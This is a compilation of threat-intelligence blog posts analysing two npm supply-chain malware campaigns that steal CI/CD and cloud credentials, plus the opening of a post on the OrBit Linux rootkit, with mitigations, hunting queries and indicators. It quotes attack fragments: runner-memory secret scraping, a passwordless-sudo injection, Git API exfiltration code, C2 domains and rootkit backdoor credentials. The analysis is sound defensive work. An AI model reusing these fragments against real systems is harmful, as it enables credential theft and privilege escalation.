The actor adopted three social-engineering techniques designed to drive installs by mistake or trust transference. First, lookalike naming – names such as opensearch-setup, opensearch-setup-tool, opensearch-config-utility, elastic-opensearch-helper, search-engine-setup, and env-config-manager mimic well-known cluster-management and configuration libraries. Second, spoofed upstream metadata – every unscoped package sets its package.json homepage, repository, and bugs fields to the legitimate github.com/opensearch-project/opensearch-js project. Third, inflated version numbers – releases jump straight to 1.0.7265, 1.0.9108, or 2.1.9201 to suggest a long, mature release history.

Figure 2. npm.js package page for @vpmdhaj/elastic-helper showing the inflated 1.0.7269 version and the spoofed OpenSearch repository link.

Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json. The malicious code executes the moment a victim runs npm install – no require() from victim code is needed. Two stager variants were observed:

  • Gen-1 (versions <= 1.0.7265): install, preinstall, and postinstall hooks all invoke preinstall.js / index.js
  • Gen-2 (versions >= 1.0.7266): a single preinstall hook invokes setup.mjs (newer, stealthier loader)
Figure 3. The malicious package.json. A single preinstall hook is enough to gain code execution on every npm install.

Gen-1 stager: HTTP C2 beacon and payload drop

preinstall.js collects rich host context – hostname, platform, arch, Node version, USER/USERNAME, cwd, INIT_CWD, npm_package_name, npm_package_version – base64-encodes the JSON, and POSTs it to the actor’s C2 with a campaign-unique header X-Supply: 1. The same C2 endpoint then serves a gunzip-compressed second-stage binary, which is written to payload.bin in the package install directory, chmod 0755’d, and spawned detached.

Figure 4. Stage-1 C2 beacon. The X-Supply: 1 header is a high-confidence detection signal in proxy logs.
Figure 5. Stage-2 download, decompression, +x, and detached spawn. __DAEMONIZED=1 lets the payload distinguish itself from npm.

The package’s index.js re-launches the same payload.bin on every subsequent require() of the module – a quiet persistence mechanism that survives across CI build stages and developer rebuild loops. The module also exports a benign-looking object falsely identifying itself as @opensearch/setup.

Figure 6. Persistence shim. The malicious module exports benign-looking metadata and silently re-spawns the payload every time it is require()’d.

Gen-2 stager: abusing the legitimate Bun runtime as a loader

In newer versions, the actor replaced the noisy HTTP-C2 design with a stealthier loader that eliminates the install-time C2 round-trip entirely. setup.mjs (a) checks whether bun is already present on the host; (b) if not, downloads the legitimate Bun runtime v1.3.13 from github.com/oven-sh/bun/releases for the correct platform/arch (Linux x64/musl/aarch64, macOS x64/arm64, Windows x64/arm64); (c) extracts the ZIP using unzip, PowerShell Expand-Archive, or a hand-rolled ZIP parser; and (d) executes the pre-bundled second-stage payload (opensearch_init.js or ai_init.js) that ships inside the npm tarball.

This design reduces visibility for defenders that primarily monitor unusual outbound traffic during package installation.

Figure 7. Gen-2 loader. The actor abuses a legitimate GitHub Release of the Bun runtime to execute a pre-bundled payload that ships inside the npm tarball.

Credential theft

The second-stage binary is a single-file Bun-compiled JavaScript binary of approximately 195 KB, purpose-built for cloud and CI/CD secret theft. Static review of the bundle identifies routines that target secrets across five platforms:

  • AWS: queries EC2 Instance Metadata Service v2 (169.254.169[.]254), Elastic Container Service task metadata (169.254.170[.]2), reads AWS env credentials, calls STS GetCallerIdentity / AssumeRole, and enumerates Secrets Manager (ListSecrets / GetSecretValue) across 16+ regions with a bundled SigV4 signer.
  • HashiCorp Vault: reads VAULT_TOKEN and VAULT_AUTH_TOKEN environment variables.
  • npm: validates tokens through /-/whoami and enumerates publish access through /-/npm/v1/tokens.
  • GitHub Actions: collects GITHUB_REPOSITORY and RUNNER_OS context to identify build environments for prioritized exploitation.
  • CI/CD environment: respects __DAEMONIZED=1 to avoid re-entry, and explicitly resets CI=false to mislead build-aware code paths.
Figure 8. String evidence from the Bun-compiled stage-2 payload. The same binary is dropped by both Gen-1 and Gen-2 stagers.

Impact and blast radius

  • Stolen AWS STS sessions and Secrets Manager material enable cloud lateral movement and data theft.
  • Stolen GitHub Actions tokens enable repo manipulation and CI/CD pipeline tampering.
  • Stolen npm publish tokens enable downstream supply-chain pivoting – pushing malicious updates to packages owned by hijacked maintainer identities, expanding the campaign beyond the initial 14 packages.
  • All 14 packages target the OpenSearch / ElasticSearch ecosystem keywords, suggesting the actor likely chose a developer audience to have AWS and Elastic cloud credentials in their environments.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Identify systems that installed or built affected package versions on or after May 28, 2026.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by running npm install with –ignore-scripts (or setting npm config set ignore-scripts true globally). Apply equivalent settings for pnpm and yarn.
  • Rotate AWS IAM/STS, HashiCorp Vault, npm publish, and GitHub Actions tokens that may have been exposed to affected runners or developer workstations.
  • Block egress to aab.sportsontheweb[.]net at proxy, firewall, and DNS layers. Alert on any HTTP request carrying the header X-Supply: 1.
  • Hunt CloudTrail for anomalous sts:GetCallerIdentity rapidly followed by sts:AssumeRole, and for secretsmanager:ListSecrets or GetSecretValue in cross-region succession from build infrastructure or developer IP space.
  • Audit CI/CD logs for unexpected outbound network connections, Bun runtime downloads from GitHub Releases by Node.js processes, and detached child processes spawned with __DAEMONIZED=1.
  • Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for the affected packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the malicious components on access. During reproduction in our analysis environment, setup.mjs was automatically quarantined the moment the tarball was extracted to disk.

Figure 9. Microsoft Defender auto-quarantine of setup.mjs at extract time.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage
Initial Access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
Β  -Trojan:JS/ShaiWorm
Β  -Trojan:JS/ObfusNpmJs
Β  -Backdoor:JS/SupplyChain

Microsoft Defender for Endpoint
Β  – Suspicious usage of Bun runtime
Β  – Suspicious installation of Bun runtime
Β  – Suspicious Node.js process behavior

Microsoft Defender XDR
Β  – Suspicious file creation in temporary directory by node.exe
Β  – Suspicious Bun execution from Node.js process
Credential AccessPotential harvesting of AWS, Vault, GitHub Actions, and npm tokens from CI/CD runnersMicrosoft Defender for Endpoint
Β  – Credential access attempt
Β  – Suspicious cloud credential access by npm-cached binary
Β  – AWS Instance Metadata Service access from suspicious process

Microsoft Defender for Cloud
Β  – Possible IMDS abuse from container workload
Β  – Anomalous Secrets Manager enumeration across regions
Command and ControlOutbound HTTP beacon with X-Supply: 1 header to attacker-controlled C2Microsoft Defender for Endpoint
Β  – Connection to a custom network indicator (aab.sportsontheweb[.]net)
Β  – Suspicious outbound HTTP from npm install context
PersistenceRe-spawn of payload.bin on every require() of compromised packageMicrosoft Defender for Endpoint
Β  – Detached child process spawned by node.exe with __DAEMONIZED=1

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving vpmdhaj packages.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any (
    "@vpmdhaj", "opensearch-setup", "opensearch-setup-tool",
    "opensearch-config-utility", "opensearch-security-scanner",
    "search-engine-setup", "search-cluster-setup",
    "elastic-opensearch-helper", "vpmdhaj-opensearch-setup",
    "env-config-manager", "app-config-utility")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for the stage-2 payload artifact on disk.

DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName =~ "payload.bin"
| where FolderPath has "node_modules"
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for detached payload execution with the campaign environment marker.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "__DAEMONIZED=1"
   or InitiatingProcessCommandLine has "__DAEMONIZED=1"
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for Gen-2 loader: Bun runtime download from GitHub Releases by Node.js.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where RemoteUrl has "github.com/oven-sh/bun/releases/download"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for C2 beacon to attacker infrastructure.

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "aab.sportsontheweb.net"
   or RemoteUrl has "sportsontheweb.net"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for AWS IMDS / ECS metadata access from Node.js processes.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node", "bun.exe", "bun")
| where RemoteIP in ("169.254.169.254", "169.254.170.2")
| project Timestamp, DeviceName, RemoteIP, RemoteUrl,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Indicators of Compromise (IOC)

Affected npm packages – all published by maintainer vpmdhaj on 2026-05-28:

IndicatorTypeDescription
@vpmdhaj/elastic-helper (1.0.7269)PackageTyposquat – ElasticSearch/OpenSearch helper
@vpmdhaj/devops-tools (1.0.7267)PackageTyposquat – DevOps tools / OpenSearch setup
@vpmdhaj/opensearch-setup (1.0.7267)PackageTyposquat – OpenSearch setup utility
@vpmdhaj/search-setup (1.0.7268)PackageTyposquat – search engine setup
opensearch-security-scanner (1.0.10)PackageUnscoped lookalike – security scanner
opensearch-setup (1.0.9103)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-setup-tool (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-config-utility (1.0.9106)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-engine-setup (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-cluster-setup (1.0.9104)PackageUnscoped lookalike – spoofs opensearch-project repo URL
elastic-opensearch-helper (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
vpmdhaj-opensearch-setup (1.0.9102)PackageUnscoped – author-named OpenSearch setup
env-config-manager (2.1.9201)PackageTyposquat – dotenv-style config manager
app-config-utility (1.0.9300)PackageTyposquat – generic app config utility

Actor, network, and file IOCs

IndicatorTypeDescription
vpmdhajnpm maintainer aliasThreat actor publishing all 14 packages
a39155771@gmail.comEmailMaintainer contact email registered on npm
aab.sportsontheweb[.]netDomainStage-1 C2 (Gen-1 packages)
hxxp://aab.sportsontheweb[.]net/x.phpURLBeacon + stage-2 payload endpoint (port 80)
X-Supply: 1HTTP headerCampaign-unique marker – high-confidence proxy detection
169.254.169.254IPAWS EC2 IMDSv2 endpoint queried by stage-2
169.254.170.2IPAWS ECS task metadata endpoint queried by stage-2
638788AFC4F1B5860A328312CAF5895ABD5F5632D28A4F2A85B09076E270D15DSHA-256preinstall.js (Gen-1 stager)
77D92EFE7AF3547F71FD41D4A884872D66B1BE9499EAA637E91EAC866911694DSHA-256setup.mjs (Gen-2 stager)
BFA149694EC6411C23936311A999163ADE54D6F38E2F4B0E3CFB8CB67BD7CFAASHA-256payload.gz (gzipped Bun stage-2)
opensearch_init.jsFilenameBun-compiled stage-2 credential harvester (~195 KB)
ai_init.jsFilenameAlternate stage-2 filename used by some Gen-2 packages
payload.binFilenameDropped stage-2 binary in node_modules install dir
__DAEMONIZED=1Env varMarker set by stager when spawning detached payload

References

  • https://www.npmjs.com/~vpmdhajΒ  –  npm maintainer profile (all 14 packages)
  • https://www.npmjs.com/package/@vpmdhaj/elastic-helper
  • https://www.npmjs.com/package/@vpmdhaj/devops-tools
  • https://docs.npmjs.com/cli/v10/using-npm/scriptsΒ  –  npm lifecycle scripts documentation
  • https://bun.shΒ  –  Bun runtime (abused by Gen-2 stager as a loader)
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-use-IMDSv2.htmlΒ  –  IMDSv2 hardening guidance

This research is provided by Microsoft Defender Security Research with contributions fromΒ members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out theΒ Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us onΒ LinkedIn,Β X (formerly Twitter), andΒ Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to theΒ Microsoft Threat Intelligence podcast.

Reviewβ€―ourβ€―documentationβ€―to learnβ€―more about our real-time protection capabilities and see howβ€―toβ€―enable them within yourβ€―organization.β€―β€―Β 

The post Typosquatted npm packages used to steal cloud and CI/CD secrets appeared first on Microsoft Security Blog.

  •  

Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft

Microsoft has identified an active supply chain attack targeting the @antv node package manager (npm) package ecosystem. A threat actor compromised an @antv maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact.

The compromise propagated through dependency chains into libraries like echarts-for-react (which has more than 1 million weekly downloads), expanding the blast radius into CI/CD pipelines and cloud workloads across the ecosystem. The malicious payloadβ€”a ~499 KB obfuscated JavaScript fileβ€”runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments.

Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI/CD environments.

The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved.

Attack chain overview

Figure 1. @antv npm supply chain attack flow.

The @antv organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through:

  • Maintainer account compromise and publication of malicious @antv package versions
  • Downstream dependency amplification (echarts-for-react, size-sensor, and others)
  • Automatic payload execution through a preinstall hook during npm install
  • Execution chain: node β†’ shell β†’ bun β†’ payload (Bun runtime installed if absent)

Technical analysis

The payload replaces the legitimate index.js with a single-line obfuscated script.

Obfuscation

  • Layer 1: 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de
  • Layer 2: Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime.
  • Environment gating: The payload exits immediately if it’s not running on GitHub Actions on Linux
  • Branch avoidance: Skips the main, master, dependabot/, renovate/, and gh-pages when using Git API exfiltration

// Layer 1: 1,732 strings in rotated array with base64 decode
(function(_0x44be0e, _0x3ff020){
    // Array shuffle IIFE with key 0xa31de
    _0x335af4['push'](_0x335af4['shift']());
})(_0x71ec, 0xa31de));
 
// Layer 2: PBKDF2+SHA256 runtime decryption for critical strings
var e6 = "a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e";
var t6 = "7f44e4ba6f6a71bd0f789e7f83bd3104";
var u5 = new du(e6, t6);  // PBKDF2 cipher instance
globalThis["f2959c600"] = function(s) { return u5.decode(s); };
 
// Environment gate - exits if not GitHub Actions on Linux
this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')]  === 'true';
this['isLinuxRunner']   = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux';

Credential theft

The payload targets secrets across six platforms:

  • GitHub: Extracts GITHUB_TOKEN, scans for Personal Access Tokens (gh[op]_) and installation tokens (ghs_), validates through /user API, and enumerates repo and org secrets.
  • Amazon Web Services(AWS): Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads .aws/ files, harvests env vars, and then calls SecretsManager across all regions.
  • HashiCorp Vault: Searches 12+ token paths (/var/run/secrets/vault/token, ~/.vault-token, and others) and connects to a local Vault at 127.0.0[.]1:8200.
  • npm: Validates tokens using /-/whoami, exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages
  • Kubernetes: Reads service account tokens and enumerates namespace secrets
  • 1Password: Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass
// AWS Secrets Manager enumeration
'secretsmanager:ListSecrets'
'secretsmanager:GetSecretValue('
 
// Vault token paths searched (12+ locations)
'/var/run/secrets/vault/token'
'/.vault-token'
'/home/runner/.vault-token'
'/root/.vault-token'
'/etc/vault/token'
 
// GitHub API secret enumeration
'/actions/secrets?per_page=100'
'/actions/organization-secrets?per_page=100'

Runner memory scraping

The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:

// Locates Runner.Worker PID via /proc
'findRunnerWorkerPIDLinux'
// Scans /proc//cmdline for &quot;Runner.Worker&quot;
 
// Extracts secrets from process memory
tr -d &#039;\0&#039; | grep -aoE &#039;&quot;[^&quot;]+&quot;:{&quot;value&quot;:&quot;[^&quot;]*&quot;,&quot;isSecret&quot;:true}&#039; | sort -u

This activity bypasses normal secret masking by reading secrets directly from runner process memory.

Privilege escalation

  • Injects sudoers rule through bind mount: echo β€˜runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner
  • Modifies /etc/hosts for DNS redirection
// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' > 
 && chmod 0440 /mnt/runner
 
// DNS manipulation
sudo sh -c "echo '127.0.0.1 &#039; &gt;&gt; /etc/hosts&quot;
 
// Validates sudo access before operations
sudo -n true

Exfiltration

Dual-channel exfiltration:

  • Primary: HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe
  • Fallback: Git Data API β€” Creates blobs, trees, or commits in victim repositories on non-protected branches
  • Tertiary: Creates public repos under victim accounts with reversed description (β€œniagA oG eW ereH :duluH-iahS”); more than 2,200 of these repos have been observed as of this writing
// Primary: HTTPS C2 with encrypted domain (port 443)
let config = {
    'domain': f2959c600('bXVunP4+izfR/cOx8zhW/fw8v6xFc4cvjYgGdbEE'),
    'port': 0x1bb,  // 443
    'path': f2959c600('5WA4NOQUD/n/mNx/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='),
    'dry_run': false
};
 
// Fallback: Git Data API - creates blobs/trees/commits in victim repos
await j(token, '/repos/' + owner + '/' + repo + '/git/blobs',
        {'method': 'POST', 'body': JSON.stringify(stolen_data)});
'/git/trees'
'/git/commits'
 
// Branch filter - avoids protected branches to evade detection
Dw = ['dependabot/', 'renovate/', 'gh-pages', 'docs/',
      'copilot/', 'master', 'main'];

Propagation and persistence

  • Enumerates /user/repos and /user/orgs to spread into additional repositories
  • Installs Bun runtime, executes second-stage payload using bun run .claude/
  • Deploys token monitor for ongoing credential capture
  • Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate

Impact and blast radius

  • Direct compromise of @antv packages with broad ecosystem adoption
  • Amplification through downstream dependencies into thousands of projects
  • Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
  • SLSA provenance forgery erodes trust in supply chain attestation frameworks

How GitHub took action to prevent further harm

Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Review dependency trees for direct or transitive usage of affected @antv/ packages.
  • Identify systems that installed or built affected package versions during the suspected exposure window.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by ensuring you run npm install with --ignore-scripts.
  • While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
  • Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
  • Audit organization and personal GitHub accounts for public repositories with the description β€œniagA oG eW ereH :duluH-iahS” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
  • Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
  • Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for antv packages across your estate.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

TacticObserved activityMicrosoft Defender coverage
ExecutionΒ Suspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
– Trojan:AIGen/NPMStealer
– Backdoor:Python/ShaiWorm
– Trojan:JS/ShaiWorm
– Trojan:JS/ObfusNpmJs Β 

Microsoft Defender for Endpoint
– Suspicious usage of Bun runtime
– Suspicious Installation of Bun runtime
– Suspicious Node.js process behavior Β  Β  Β 
Credential AccessPotential harvesting of environment variables, tokens, or developer secretsMicrosoft Defender for Endpoint
– Credential access attempt
– Suspicious cloud credential access by npm-cached binary
– Kubernetes secrets enumeration indicative of credential access

Microsoft Defender for Cloud
Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials
Command and ControlPotential outbound connections from build systems or developer machinesMicrosoft Defender for Endpoint
Connection to a custom network indicator

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat, including:

  • Incident investigation
  • Microsoft user analysis
  • Threat Intelligence 360 report based on MDTI article
  • Vulnerability or supply chain impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Microsoft Defender XDR Threat analytics

https://security.microsoft.com/threatanalytics3/5879a0e7-f145-407b-bc84-1ae405a016ea/overview

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution

This query searches for Node.js and npm activity involving install lifecycle behavior and relevant package references.

DeviceProcessEvents
| where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AccountName

Hunt for potential compromise of through malicious npm packages

DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName in ("bun", "bun.exe")
| where ProcessCommandLine has "run index.js"

Hunt for affected dependencies in your software inventory

DeviceTvmSoftwareInventory
| where SoftwareName has "antv" or SoftwareVendor has "antv"
| project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion

Hunt for suspicious outbound connection from python backdoor

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where InitiatingProcessFileName startswith "python"
| where InitiatingProcessCommandLine has "/cat.py"

Hunt for suspicious outbound activity from Node.js processes

Searches for network connections initiated by Node.js or npm processes that reference package-related paths or commands.

DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe")
| where InitiatingProcessCommandLine has_any ("@antv", "echarts-for-react", "node_modules")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AccountName

Hunt for affected dependency references in developer directories

This query searches for package manifest or lockfile activity that might contain relevant dependency references.

DeviceFileEvents
| where FileName in~ ("package.json", "package-lock.json", "yarn.lock", "pnpm-lock.yaml")
| where FolderPath has_any ("node_modules", "src", "repo", "workspace")
| where AdditionalFields has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for post-compromise C2 activity

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl has "t.m-kosche.com"

Shai-HuludΒ npmΒ supply-chain indicator observed inside a Kubernetes container

CloudProcessEvents
| where ProcessCommandLine has_any ("IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner", "niagA oG eW ereH", ":duluH-iahS", "t.m-kosche.com", "7cb42f57561c321ecb09b4552802ae0ac55b3a7a", "@antv/setup")
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Indicators of Compromise (IOC)

IndicatorTypeDescription
@antv – whole accountPackage scopeΒ  All packages maintained by the antv account were compromised.

As per the latest statement from the account author’s this situation is now resolved.
echarts-for-reactPackage nameΒ  One of the major downstream packages impacted by the antv compromise.
As per the latest statement from the repository author’s this situation is now resolved
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1cSHA-256Malicious payload JavaScript file
fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142SHA-256Malicious backdoor Python script
t.m-kosche[.]com:443DomainInfrastructure associated with campaign
Index.jsFile nameMalicious script or dropped file
cat.pyFile nameMalicious script or dropped file

References

This research is provided by Microsoft Defender Security Research with contributions from Rahul Mohandas, Sumith Maniath, Ahmed Saleem Kasmani, Arvind Gowda, Sagar Patil, and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out theΒ Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us onΒ LinkedIn,Β X (formerly Twitter), andΒ Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to theΒ Microsoft Threat Intelligence podcast.

Reviewβ€―ourβ€―documentationβ€―to learnβ€―more about our real-time protection capabilities and see howβ€―toβ€―enable them within yourβ€―organization.β€―β€―Β 

The post Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft appeared first on Microsoft Security Blog.

  •  

OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments

In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.

It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.

Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured β€œLineage A” build that tracks closely with the 2022 original, and a lite β€œLineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.

This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.

Background: What is OrBit?

For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.

Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.

July 2022

Hash XOR Working dir SSH Username SSH Password # Exports # Hooks Dropper
40b5127c 0xA2 /lib/libntpVnQE6mk/ 2l8 c4ss0ul3tt3 66 54 f1612924

We will refer to this variant as Lineage A β€œFull” build of OrBit.

OrBit variants through the years

In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.

December 2022

The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.

All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.

The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).

The rootkit’s hook surface stayed stable.

